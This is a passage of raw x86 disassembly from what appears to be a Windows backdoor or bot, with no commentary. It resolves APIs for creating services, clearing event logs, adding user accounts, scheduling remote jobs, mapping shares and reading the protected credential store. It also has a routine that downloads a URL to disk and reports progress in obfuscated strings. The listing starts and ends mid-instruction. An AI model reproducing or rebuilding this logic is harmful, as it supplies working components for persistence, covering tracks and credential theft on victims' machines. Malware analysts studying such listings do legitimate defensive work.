cmp dword_456F18, ebx jz short loc_417741 cmp dword_456EDC, ebx jz short loc_417741 cmp eax, ebx jnz short loc_41774B loc_417741: ; CODE XREF: sub_417362+3C9j ; sub_417362+3D1j ... mov dword_457034, 1 loc_41774B: ; CODE XREF: sub_417362+3DDj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_437030 push offset aOpenservicea ; "OpenServiceA" push edi mov dword_456F28, eax call esi ; dword_437030 push offset aStartservicea ; "StartServiceA" push edi mov dword_456DC8, eax call esi ; dword_437030 push offset aControlservice ; "ControlService" push edi mov dword_456DD0, eax call esi ; dword_437030 push offset aDeleteservice ; "DeleteService" push edi mov dword_456E44, eax call esi ; dword_437030 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_456E50, eax call esi ; dword_437030 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_456DE4, eax call esi ; dword_437030 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_456EE0, eax call esi ; dword_437030 push offset aCreateservicea ; "CreateServiceA" push edi mov dword_456DD4, eax call esi ; dword_437030 push offset aStartservicect ; "StartServiceCtrlDispatcherA" push edi mov dword_456FB8, eax call esi ; dword_437030 push offset aImpersonatelog ; "ImpersonateLoggedOnUser" push edi mov dword_45701C, eax call esi ; dword_437030 push offset aLockservicedat ; "LockServiceDatabase" push edi mov dword_45700C, eax call esi ; dword_437030 push offset aQueryservicelo ; "QueryServiceLockStatusA" push edi mov dword_456E00, eax call esi ; dword_437030 push offset aChangeservicec ; "ChangeServiceConfig2A" push edi mov dword_456E88, eax call esi ; dword_437030 push offset aUnlockserviced ; "UnlockServiceDatabase" push edi mov dword_457010, eax call esi ; dword_437030 push offset aRegisterserv_0 ; "RegisterServiceCtrlHandlerA" push edi mov dword_456F54, eax call esi ; dword_437030 push offset aSetservicestat ; "SetServiceStatus" push edi mov dword_456F50, eax call esi ; dword_437030 cmp dword_456F28, ebx mov dword_456E70, eax jz short loc_41789C cmp dword_456DC8, ebx jz short loc_41789C cmp dword_456DD0, ebx jz short loc_41789C cmp dword_456E44, ebx jz short loc_41789C cmp dword_456E50, ebx jz short loc_41789C cmp dword_456DE4, ebx jz short loc_41789C cmp dword_456EE0, ebx jz short loc_41789C cmp dword_456DD4, ebx jz short loc_41789C cmp dword_45700C, ebx jz short loc_41789C cmp dword_456E00, ebx jz short loc_41789C cmp dword_456E88, ebx jz short loc_41789C cmp dword_457010, ebx jz short loc_41789C cmp dword_456F54, ebx jz short loc_41789C cmp dword_456F50, ebx jz short loc_41789C cmp eax, ebx jnz short loc_4178A6 loc_41789C: ; CODE XREF: sub_417362+4CCj ; sub_417362+4D4j ... mov dword_457034, 1 loc_4178A6: ; CODE XREF: sub_417362+538j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_437030 cmp eax, ebx mov dword_456DCC, eax jnz short loc_4178C1 mov dword_457034, 1 loc_4178C1: ; CODE XREF: sub_417362+553j push offset aCleareventloga ; "ClearEventLogA" push edi call esi ; dword_437030 push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_456EA0, eax call esi ; dword_437030 push offset aCloseeventlog ; "CloseEventLog" push edi mov dword_456E90, eax call esi ; dword_437030 cmp dword_456EA0, ebx mov dword_456E4C, eax jz short loc_417909 cmp dword_456E90, ebx jz short loc_417909 cmp eax, ebx jnz short loc_417913 jmp short loc_417909 ; --------------------------------------------------------------------------- loc_4178FE: ; CODE XREF: sub_417362+2B9j call dword_437170 ; RtlGetLastWin32Error mov dword_45703C, eax loc_417909: ; CODE XREF: sub_417362+58Cj ; sub_417362+594j ... mov dword_457034, 1 loc_417913: ; CODE XREF: sub_417362+598j push offset aGdi32_dll ; "gdi32.dll" call ebp ; dword_437070 mov edi, eax cmp edi, ebx jz loc_4179DF push offset aCreatedca ; "CreateDCA" push edi call esi ; dword_437030 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_456F20, eax call esi ; dword_437030 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_456F80, eax call esi ; dword_437030 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_456F88, eax call esi ; dword_437030 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_456F40, eax call esi ; dword_437030 push offset aSelectobject ; "SelectObject" push edi mov dword_456E24, eax call esi ; dword_437030 push offset aBitblt ; "BitBlt" push edi mov dword_456DC0, eax call esi ; dword_437030 push offset aDeletedc ; "DeleteDC" push edi mov dword_456F84, eax call esi ; dword_437030 push offset aDeleteobject ; "DeleteObject" push edi mov dword_456DAC, eax call esi ; dword_437030 cmp dword_456F20, ebx mov dword_456E5C, eax jz short loc_4179EA cmp dword_456F80, ebx jz short loc_4179EA cmp dword_456F88, ebx jz short loc_4179EA cmp dword_456F40, ebx jz short loc_4179EA cmp dword_456E24, ebx jz short loc_4179EA cmp dword_456DC0, ebx jz short loc_4179EA cmp dword_456F84, ebx jz short loc_4179EA cmp dword_456DAC, ebx jz short loc_4179EA cmp eax, ebx jnz short loc_4179F4 jmp short loc_4179EA ; --------------------------------------------------------------------------- loc_4179DF: ; CODE XREF: sub_417362+5BCj call dword_437170 ; RtlGetLastWin32Error mov dword_457044, eax loc_4179EA: ; CODE XREF: sub_417362+63Dj ; sub_417362+645j ... mov dword_457040, 1 loc_4179F4: ; CODE XREF: sub_417362+679j mov ebp, dword_437034 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz loc_417CC1 push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_437030 push offset aWsasocketa ; "WSASocketA" push edi mov dword_456E78, eax call esi ; dword_437030 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_456FFC, eax call esi ; dword_437030 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_456E08, eax call esi ; dword_437030 push offset aWsaioctl ; "WSAIoctl" push edi mov dword_456DD8, eax call esi ; dword_437030 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_456EC0, eax call esi ; dword_437030 push offset aWsacleanup ; "WSACleanup" push edi mov dword_456EA4, eax call esi ; dword_437030 push offset aSocket ; "socket" push edi mov dword_456E58, eax call esi ; dword_437030 push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_456FD0, eax call esi ; dword_437030 push offset aConnect ; "connect" push edi mov dword_456FF4, eax call esi ; dword_437030 push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_456EBC, eax call esi ; dword_437030 push offset aInet_addr ; "inet_addr" push edi mov dword_456FDC, eax call esi ; dword_437030 push offset aHtons ; "htons" push edi mov dword_456F7C, eax call esi ; dword_437030 push offset aHtonl ; "htonl" push edi mov dword_456F38, eax call esi ; dword_437030 push offset aNtohs ; "ntohs" push edi mov dword_456F34, eax call esi ; dword_437030 push offset aNtohl ; "ntohl" push edi mov dword_456E30, eax call esi ; dword_437030 push offset aSend ; "send" push edi mov dword_456E28, eax call esi ; dword_437030 push offset aSendto ; "sendto" push edi mov dword_456F8C, eax call esi ; dword_437030 push offset aRecv ; "recv" push edi mov dword_456FAC, eax call esi ; dword_437030 push offset aRecvfrom ; "recvfrom" push edi mov dword_456F58, eax call esi ; dword_437030 mov dword_456F04, eax push offset aBind ; "bind" push edi call esi ; dword_437030 push offset aSelect ; "select" push edi mov dword_456F6C, eax call esi ; dword_437030 push offset aListen ; "listen" push edi mov dword_456F1C, eax call esi ; dword_437030 push offset aAccept ; "accept" push edi mov dword_456F68, eax call esi ; dword_437030 push offset aSetsockopt ; "setsockopt" push edi mov dword_456FE4, eax call esi ; dword_437030 push offset aGetsockname ; "getsockname" push edi mov dword_456F10, eax call esi ; dword_437030 push offset aGethostname ; "gethostname" push edi mov dword_456EB8, eax call esi ; dword_437030 push offset aGethostbyname ; "gethostbyname" push edi mov dword_456F4C, eax call esi ; dword_437030 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_456FD4, eax call esi ; dword_437030 push offset aGetpeername ; "getpeername" push edi mov dword_456ED8, eax call esi ; dword_437030 push offset aClosesocket ; "closesocket" push edi mov dword_456E54, eax call esi ; dword_437030 push offset aShutdown ; "shutdown" push edi mov dword_456FF0, eax call esi ; dword_437030 cmp dword_456E78, ebx mov dword_456FE8, eax jz loc_417CCC cmp dword_456FFC, ebx jz loc_417CCC cmp dword_456E08, ebx jz loc_417CCC cmp dword_456EC0, ebx jz loc_417CCC cmp dword_456EA4, ebx jz loc_417CCC cmp dword_456E58, ebx jz loc_417CCC cmp dword_456FD0, ebx jz loc_417CCC cmp dword_456FF4, ebx jz loc_417CCC cmp dword_456EBC, ebx jz loc_417CCC cmp dword_456FDC, ebx jz loc_417CCC cmp dword_456F7C, ebx jz loc_417CCC cmp dword_456F38, ebx jz loc_417CCC cmp dword_456F34, ebx jz loc_417CCC cmp dword_456E30, ebx jz short loc_417CCC cmp dword_456F8C, ebx jz short loc_417CCC cmp dword_456FAC, ebx jz short loc_417CCC cmp dword_456F58, ebx jz short loc_417CCC cmp dword_456F04, ebx jz short loc_417CCC cmp dword_456F6C, ebx jz short loc_417CCC cmp dword_456F1C, ebx jz short loc_417CCC cmp dword_456F68, ebx jz short loc_417CCC cmp dword_456FE4, ebx jz short loc_417CCC cmp dword_456F10, ebx jz short loc_417CCC cmp dword_456EB8, ebx jz short loc_417CCC cmp dword_456F4C, ebx jz short loc_417CCC cmp dword_456FD4, ebx jz short loc_417CCC cmp dword_456ED8, ebx jz short loc_417CCC cmp dword_456FF0, ebx jnz short loc_417CD6 jmp short loc_417CCC ; --------------------------------------------------------------------------- loc_417CC1: ; CODE XREF: sub_417362+6A3j call dword_437170 ; RtlGetLastWin32Error mov dword_45704C, eax loc_417CCC: ; CODE XREF: sub_417362+84Fj ; sub_417362+85Bj ... mov dword_457048, 1 loc_417CD6: ; CODE XREF: sub_417362+95Bj push offset aWininet_dll ; "wininet.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz loc_417DF5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_437030 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_456E38, eax call esi ; dword_437030 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_456DB4, eax call esi ; dword_437030 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_456EF0, eax call esi ; dword_437030 push offset aFtpgetfilea ; "FtpGetFileA" push edi mov dword_456E7C, eax call esi ; dword_437030 push offset aFtpputfilea ; "FtpPutFileA" push edi mov dword_456E18, eax call esi ; dword_437030 push offset aInternetconnec ; "InternetConnectA" push edi mov dword_456FBC, eax call esi ; dword_437030 push offset aInternetopena ; "InternetOpenA" push edi mov dword_456F00, eax call esi ; dword_437030 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_456EA8, eax call esi ; dword_437030 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_456DF4, eax call esi ; dword_437030 push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_456DE8, eax call esi ; dword_437030 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_456DFC, eax call esi ; dword_437030 cmp dword_456E38, ebx mov ecx, dword_456EA8 mov dword_456F70, eax jz short loc_417DD1 cmp dword_456DB4, ebx jz short loc_417DD1 cmp dword_456EF0, ebx jz short loc_417DD1 cmp dword_456E7C, ebx jz short loc_417DD1 cmp dword_456F00, ebx jz short loc_417DD1 cmp ecx, ebx jz short loc_417DD1 cmp dword_456DF4, ebx jz short loc_417DD1 cmp dword_456DE8, ebx jz short loc_417DD1 cmp dword_456DFC, ebx jz short loc_417DD1 cmp eax, ebx jnz short loc_417DDB loc_417DD1: ; CODE XREF: sub_417362+A2Dj ; sub_417362+A35j ... mov dword_457050, 1 loc_417DDB: ; CODE XREF: sub_417362+A6Dj cmp ecx, ebx jz short loc_417E10 push ebx push ebx push ebx push ebx push offset aMozilla5_0 ; "Mozilla/5.0" call ecx ; dword_456EA8 cmp eax, ebx mov dword_456ED0, eax jnz short loc_417E10 jmp short loc_417E0A ; --------------------------------------------------------------------------- loc_417DF5: ; CODE XREF: sub_417362+97Fj call dword_437170 ; RtlGetLastWin32Error mov dword_457054, eax mov dword_457050, 1 loc_417E0A: ; CODE XREF: sub_417362+A91j mov dword_456ED0, ebx loc_417E10: ; CODE XREF: sub_417362+A7Bj ; sub_417362+A8Fj push offset aIcmp_dll ; "icmp.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_417E5A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; dword_437030 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_456E94, eax call esi ; dword_437030 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_457018, eax call esi ; dword_437030 cmp dword_456E94, ebx mov dword_456E10, eax jz short loc_417E65 cmp dword_457018, ebx jz short loc_417E65 cmp eax, ebx jnz short loc_417E6F jmp short loc_417E65 ; --------------------------------------------------------------------------- loc_417E5A: ; CODE XREF: sub_417362+AB9j call dword_437170 ; RtlGetLastWin32Error mov dword_45705C, eax loc_417E65: ; CODE XREF: sub_417362+AE8j ; sub_417362+AF0j ... mov dword_457058, 1 loc_417E6F: ; CODE XREF: sub_417362+AF4j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz loc_417F65 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_437030 push offset aNetsharedel ; "NetShareDel" push edi mov dword_456DE0, eax call esi ; dword_437030 push offset aNetshareenum ; "NetShareEnum" push edi mov dword_456DBC, eax call esi ; dword_437030 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_456E40, eax call esi ; dword_437030 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_456E84, eax call esi ; dword_437030 push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_456FE0, eax call esi ; dword_437030 push offset aNetuseradd ; "NetUserAdd" push edi mov dword_456E2C, eax call esi ; dword_437030 push offset aNetuserdel ; "NetUserDel" push edi mov dword_456DC4, eax call esi ; dword_437030 push offset aNetuserenum ; "NetUserEnum" push edi mov dword_456DB8, eax call esi ; dword_437030 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_456E60, eax call esi ; dword_437030 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_456F98, eax call esi ; dword_437030 cmp dword_456DE0, ebx mov dword_456F48, eax jz short loc_417F70 cmp dword_456DBC, ebx jz short loc_417F70 cmp dword_456E40, ebx jz short loc_417F70 cmp dword_456E84, ebx jz short loc_417F70 cmp dword_456FE0, ebx jz short loc_417F70 cmp dword_456E2C, ebx jz short loc_417F70 cmp dword_456DC4, ebx jz short loc_417F70 cmp dword_456DB8, ebx jz short loc_417F70 cmp dword_456E60, ebx jz short loc_417F70 cmp dword_456F98, ebx jz short loc_417F70 cmp eax, ebx jnz short loc_417F7A jmp short loc_417F70 ; --------------------------------------------------------------------------- loc_417F65: ; CODE XREF: sub_417362+B18j call dword_437170 ; RtlGetLastWin32Error mov dword_457064, eax loc_417F70: ; CODE XREF: sub_417362+BB3j ; sub_417362+BBBj ... mov dword_457060, 1 loc_417F7A: ; CODE XREF: sub_417362+BFFj push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_417FAF push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_437030 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_456E14, eax call esi ; dword_437030 cmp dword_456E14, ebx mov dword_456F2C, eax jz short loc_417FBA cmp eax, ebx jnz short loc_417FC4 jmp short loc_417FBA ; --------------------------------------------------------------------------- loc_417FAF: ; CODE XREF: sub_417362+C23j call dword_437170 ; RtlGetLastWin32Error mov dword_45706C, eax loc_417FBA: ; CODE XREF: sub_417362+C45j ; sub_417362+C4Bj mov dword_457068, 1 loc_417FC4: ; CODE XREF: sub_417362+C49j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz loc_418057 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_437030 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_456FCC, eax call esi ; dword_437030 push offset aGetiftable ; "GetIfTable" push edi mov dword_456FC8, eax call esi ; dword_437030 push offset aGettcptable ; "GetTcpTable" push edi mov dword_456EFC, eax call esi ; dword_437030 push offset aGetudptable ; "GetUdpTable" push edi mov dword_456F14, eax call esi ; dword_437030 cmp dword_456FCC, ebx mov dword_456FA4, eax jz short loc_41803A cmp dword_456FC8, ebx jz short loc_41803A cmp dword_456EFC, ebx jz short loc_41803A cmp eax, ebx jz short loc_41803A cmp dword_456F14, ebx jnz short loc_418044 loc_41803A: ; CODE XREF: sub_417362+CBAj ; sub_417362+CC2j ... mov dword_457070, 1 loc_418044: ; CODE XREF: sub_417362+CD6j push offset aGetnetworkpara ; "GetNetworkParams" push edi call esi ; dword_437030 cmp eax, ebx mov dword_456EB4, eax jnz short loc_41806C jmp short loc_418062 ; --------------------------------------------------------------------------- loc_418057: ; CODE XREF: sub_417362+C6Dj call dword_437170 ; RtlGetLastWin32Error mov dword_457078, eax loc_418062: ; CODE XREF: sub_417362+CF3j mov dword_457070, 1 loc_41806C: ; CODE XREF: sub_417362+CF1j push offset aMpr_dll ; "mpr.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_4180CB push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_437030 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_457000, eax call esi ; dword_437030 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_456FF8, eax call esi ; dword_437030 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_456FB0, eax call esi ; dword_437030 cmp dword_457000, ebx mov dword_456E34, eax jz short loc_4180D6 cmp dword_456FF8, ebx jz short loc_4180D6 cmp dword_456FB0, ebx jz short loc_4180D6 cmp eax, ebx jnz short loc_4180E0 jmp short loc_4180D6 ; --------------------------------------------------------------------------- loc_4180CB: ; CODE XREF: sub_417362+D15j call dword_437170 ; RtlGetLastWin32Error mov dword_457080, eax loc_4180D6: ; CODE XREF: sub_417362+D51j ; sub_417362+D59j ... mov dword_45707C, 1 loc_4180E0: ; CODE XREF: sub_417362+D65j push offset aShell32_dll ; "shell32.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_418115 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_437030 push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_456E74, eax call esi ; dword_437030 cmp dword_456E74, ebx mov dword_456FC4, eax jz short loc_418120 cmp eax, ebx jnz short loc_41812A jmp short loc_418120 ; --------------------------------------------------------------------------- loc_418115: ; CODE XREF: sub_417362+D89j call dword_437170 ; RtlGetLastWin32Error mov dword_457088, eax loc_418120: ; CODE XREF: sub_417362+DABj ; sub_417362+DB1j mov dword_457084, 1 loc_41812A: ; CODE XREF: sub_417362+DAFj push offset aOdbc32_dll ; "odbc32.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_4181B3 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; dword_437030 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_456F78, eax call esi ; dword_437030 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_456FD8, eax call esi ; dword_437030 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_456EE8, eax call esi ; dword_437030 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_456E8C, eax call esi ; dword_437030 push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_456F5C, eax call esi ; dword_437030 cmp dword_456F78, ebx mov dword_456E9C, eax jz short loc_4181BE cmp dword_456FD8, ebx jz short loc_4181BE cmp dword_456EE8, ebx jz short loc_4181BE cmp dword_456E8C, ebx jz short loc_4181BE cmp dword_456F5C, ebx jz short loc_4181BE cmp eax, ebx jnz short loc_4181C8 jmp short loc_4181BE ; --------------------------------------------------------------------------- loc_4181B3: ; CODE XREF: sub_417362+DD3j call dword_437170 ; RtlGetLastWin32Error mov dword_457090, eax loc_4181BE: ; CODE XREF: sub_417362+E29j ; sub_417362+E31j ... mov dword_45708C, 1 loc_4181C8: ; CODE XREF: sub_417362+E4Dj push offset aPsapi_dll ; "psapi.dll" call ebp ; dword_437034 mov edi, eax cmp edi, ebx jz short loc_41823D push offset aGetmodulefilen ; "GetModuleFileNameExA" push edi call esi ; dword_437030 push offset aGetmodulebasen ; "GetModuleBaseNameA" push edi mov dword_456EE4, eax call esi ; dword_437030 push offset aEnumprocessmod ; "EnumProcessModules" push edi mov dword_456E20, eax call esi ; dword_437030 push offset aEnumprocesses ; "EnumProcesses" push edi mov dword_456EEC, eax call esi ; dword_437030 push offset aGetprocessmemo ; "GetProcessMemoryInfo" push edi mov dword_456F30, eax call esi ; dword_437030 cmp dword_456E20, ebx mov dword_456FA0, eax jz short loc_418232 cmp dword_456EEC, ebx jz short loc_418232 cmp dword_456F30, ebx jz short loc_418232 cmp eax, ebx jnz short loc_418252 loc_418232: ; CODE XREF: sub_417362+EBAj ; sub_417362+EC2j ... xor edi, edi inc edi mov dword_45709C, edi jmp short loc_418255 ; --------------------------------------------------------------------------- loc_41823D: ; CODE XREF: sub_417362+E71j call dword_437170 ; RtlGetLastWin32Error mov dword_4570A0, eax mov dword_45709C, 1 loc_418252: ; CODE XREF: sub_417362+ECEj xor edi, edi inc edi loc_418255: ; CODE XREF: sub_417362+ED9j push offset aPstorec_dll ; "pstorec.dll" call ebp ; dword_437034 cmp eax, ebx jz short loc_418273 push offset aPstorecreatein ; "PStoreCreateInstance" push eax call esi ; dword_437030 cmp eax, ebx mov dword_456F0C, eax jnz short loc_418284 jmp short loc_41827E ; --------------------------------------------------------------------------- loc_418273: ; CODE XREF: sub_417362+EFCj call dword_437170 ; RtlGetLastWin32Error mov dword_4570A8, eax loc_41827E: ; CODE XREF: sub_417362+F0Fj mov dword_4570A4, edi loc_418284: ; CODE XREF: sub_417362+F0Dj push offset aShlwapi_dll ; "shlwapi.dll" call ebp ; dword_437034 cmp eax, ebx jz short loc_4182A2 push offset aPathremovefile ; "PathRemoveFileSpecA" push eax call esi ; dword_437030 cmp eax, ebx mov dword_456EAC, eax jnz short loc_4182B3 jmp short loc_4182AD ; --------------------------------------------------------------------------- loc_4182A2: ; CODE XREF: sub_417362+F2Bj call dword_437170 ; RtlGetLastWin32Error mov dword_4570B8, eax loc_4182AD: ; CODE XREF: sub_417362+F3Ej mov dword_4570B4, edi loc_4182B3: ; CODE XREF: sub_417362+F3Cj mov eax, edi pop edi pop esi pop ebp pop ebx retn sub_417362 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182BA proc near ; DATA XREF: sub_40A9FE+56AFo ; sub_40A9FE+5942o var_2BE4 = byte ptr -2BE4h var_4D4 = byte ptr -4D4h var_3D0 = byte ptr -3D0h var_330 = byte ptr -330h var_2B8 = byte ptr -2B8h var_240 = byte ptr -240h var_13C = dword ptr -13Ch var_110 = dword ptr -110h var_10C = word ptr -10Ch var_F8 = byte ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = byte ptr -0F0h var_88 = qword ptr -88h var_7C = qword ptr -7Ch var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2BE4h call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_F4] rep movsd xor edi, edi push 9Fh push [ebp+var_6C] inc edi mov [eax+0BCh], edi mov eax, [ebp+var_F4] mov [ebp+arg_0], eax lea eax, [ebp+var_3D0] push eax call sub_429D10 push 104h lea eax, [ebp+var_240] push [ebp+var_68] push eax call sub_429D10 add esp, 18h xor ebx, ebx lea eax, [ebp+var_3D0] push ebx push 80000300h push ebx push ebx push eax push dword_456ED0 call dword_456DF4 ; InternetOpenUrlA cmp eax, ebx mov [ebp+var_2C], eax jz loc_4189B5 push ebx push ebx push 2 push ebx push ebx lea eax, [ebp+var_240] push 40000000h push eax call dword_43705C ; CreateFileA cmp eax, edi mov dword ptr [ebp+var_20+4], eax jnb short loc_4183DC cmp [ebp+var_40], ebx mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/" mov esi, offset aSCouldnTOpenFi ; "%s Couldn't open file for writing: %s." jnz short loc_418399 cmp [ebp+var_3C], ebx jnz short loc_41839E cmp [ebp+var_60], ebx mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" jnz short loc_41837E mov eax, edi loc_41837E: ; CODE XREF: sub_4182BA+C0j lea ecx, [ebp+var_240] push ecx push eax lea eax, [ebp+var_F0] push esi push eax push [ebp+arg_0] call sub_41CE4A add esp, 14h loc_418399: ; CODE XREF: sub_4182BA+B1j cmp [ebp+var_3C], ebx jz short loc_4183C3 loc_41839E: ; CODE XREF: sub_4182BA+B6j cmp [ebp+var_60], ebx jz short loc_4183A8 mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" loc_4183A8: ; CODE XREF: sub_4182BA+E7j lea eax, [ebp+var_240] push eax push edi lea eax, [ebp+var_F0] push esi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 14h loc_4183C3: ; CODE XREF: sub_4182BA+E2j push [ebp+var_2C] call dword_456F70 ; InternetCloseHandle push [ebp+var_70] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_4183DC: ; CODE XREF: sub_4182BA+A2j mov esi, dword_437188 mov [ebp+var_4], ebx call esi ; dword_437188 mov edi, 7D000h mov dword ptr [ebp+var_C+4], eax push edi call sub_4297B8 pop ecx mov [ebp+var_30], eax loc_4183F9: ; CODE XREF: sub_4182BA+1B9j push 2710h lea eax, [ebp+var_2BE4] push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_18] push eax lea eax, [ebp+var_2BE4] push 2710h push eax push [ebp+var_2C] call dword_456DFC ; InternetReadFile lea eax, [ebp+var_F8] push ebx push eax lea eax, [ebp+var_2BE4] push [ebp+var_18] push eax push dword ptr [ebp+var_20+4] call dword_437078 ; WriteFile mov ecx, [ebp+var_4] cmp ecx, edi jnb short loc_41846B mov eax, edi sub eax, ecx cmp eax, [ebp+var_18] jbe short loc_418455 mov eax, [ebp+var_18] loc_418455: ; CODE XREF: sub_4182BA+196j push eax lea eax, [ebp+var_2BE4] push eax mov eax, [ebp+var_30] add eax, ecx push eax call sub_429420 add esp, 0Ch loc_41846B: ; CODE XREF: sub_4182BA+18Dj mov eax, [ebp+var_18] add [ebp+var_4], eax cmp eax, ebx ja short loc_4183F9 call esi ; dword_437188 sub eax, dword ptr [ebp+var_C+4] xor edx, edx mov ecx, 3E8h push [ebp+var_30] div ecx xor edx, edx mov ecx, eax mov eax, [ebp+var_4] inc ecx div ecx mov dword ptr [ebp+var_C+4], eax call sub_4298F2 pop ecx push dword ptr [ebp+var_20+4] call dword_437044 ; CloseHandle push [ebp+var_2C] call dword_456F70 ; InternetCloseHandle cmp [ebp+var_40], ebx mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/" jnz short loc_41851D cmp [ebp+var_3C], ebx jnz short loc_418522 cmp [ebp+var_60], ebx mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" jnz short loc_4184C6 mov eax, edi loc_4184C6: ; CODE XREF: sub_4182BA+208j mov ecx, dword ptr [ebp+var_C+4] mov dword ptr [ebp+var_20+4], ebx mov dword ptr [ebp+var_20], ecx push ecx fild [ebp+var_20] push ecx lea ecx, [ebp+var_240] mov dword ptr [ebp+var_20+4], ebx fmul dbl_437328 fstp [esp+7Ch+var_7C] push ecx mov ecx, [ebp+var_4] mov dword ptr [ebp+var_20], ecx push ecx fild [ebp+var_20] push ecx fmul dbl_437328 fstp [esp+88h+var_88] push offset aRy6iq0udbph ; "RY6IQ0UDbPh/" push offset a8cbgoRjryr_ ; "8CBGO/rJRYr." push eax lea eax, [ebp+var_F0] push offset aSSS_1fkbToS@_1 ; "%s %s %s: %.1fKB to: %s @ %.1fKB/sec." push eax push [ebp+arg_0] call sub_41CE4A add esp, 2Ch loc_41851D: ; CODE XREF: sub_4182BA+1F9j cmp [ebp+var_3C], ebx jz short loc_418585 loc_418522: ; CODE XREF: sub_4182BA+1FEj cmp [ebp+var_60], ebx mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" jnz short loc_41852E mov eax, edi loc_41852E: ; CODE XREF: sub_4182BA+270j mov ecx, dword ptr [ebp+var_C+4] mov dword ptr [ebp+var_C+4], ebx mov dword ptr [ebp+var_C], ecx push ecx fild [ebp+var_C] push ecx lea ecx, [ebp+var_240] mov dword ptr [ebp+var_C+4], ebx fmul dbl_437328 fstp [esp+7Ch+var_7C] push ecx mov ecx, [ebp+var_4] mov dword ptr [ebp+var_C], ecx push ecx fild [ebp+var_C] push ecx fmul dbl_437328 fstp [esp+88h+var_88] push offset aRy6iq0udbph ; "RY6IQ0UDbPh/" push offset 